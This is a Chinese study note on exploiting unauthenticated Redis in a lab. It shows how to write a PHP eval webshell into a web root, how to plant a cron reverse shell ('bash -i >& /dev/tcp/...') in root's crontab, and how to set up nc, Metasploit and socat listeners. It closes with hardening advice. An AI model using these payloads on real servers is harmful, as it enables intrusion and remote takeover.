目录

简介

靶机配置

Redis持久化

Redis动态修改配置

webshell

反弹shell

Redis写入反弹shell任务

加固方案


简介

Redis(Remote Dictionary Server 远程字典服务器)是一个开源的内存数据库,也被称为数据结构服务器,它支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等。Redis旨在提供一个高性能、持久化的 key-value 存储解决方案,并且具有丰富的功能和灵活的部署方式。

以下是 Redis 的一些主要特点和用途:

  1. 内存存储:Redis将数据存储在内存中,因此具有非常高的读写性能。它通常被用作缓存系统,用来加速对数据库或其他后端存储的访问。

  2. 数据结构丰富:Redis支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合等,这使得它可以适用于各种不同的应用场景。

  3. 持久化:除了存储在内存中,Redis还支持多种持久化方式,如RDB快照和AOF日志,以确保数据不会因服务器重启或故障而丢失。

  4. 发布/订阅:Redis支持发布/订阅模式,允许客户端订阅消息通道并接收特定类型的消息。

  5. 事务:Redis支持事务操作,允许执行一系列命令,保证这些命令要么全部执行,要么全部不执行,从而保持数据的一致性。

  6. 分布式:Redis可以被配置成分布式系统,通过复制和分片来提高可用性和扩展性。

  7. 缓存系统:由于其高性能和丰富的功能,Redis经常被用作缓存系统,用来减轻后端数据库的压力。

靶机配置

1、关闭保护模式 protected-mode
2、取消IP绑定 bind
3、开放6379端口,或者关闭防火墙
4、不需要密码(默认) requirepass

Redis持久化

RDB Redis DataBase (默认)
AOF Append Only File
配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
手动触发保存命令:save / bgsave

Redis动态修改配置

config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php

webshell

redis-cli -h 192.168.142.66 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]); ?>"
save

反弹shell

攻击机

netcat  nc -lvp 7777 (-nlvp lvvp)
msf     msfconsole
        use exploit/multi/handler
        set payload php/meterpreter/reverse_tcp
        set lhost 192.168.142.141
        set lport 7777
        run
socat   socat TCP-LISTEN:7777 -

靶机

【Web】Redis未授权访问漏洞学习笔记-LMLPHP

【Web】Redis未授权访问漏洞学习笔记-LMLPHP

【Web】Redis未授权访问漏洞学习笔记-LMLPHP

 

Redis写入反弹shell任务

Linux crontab

crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

cron文件存储路径

/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly

payload:

set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

加固方案

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis

02-13 18:56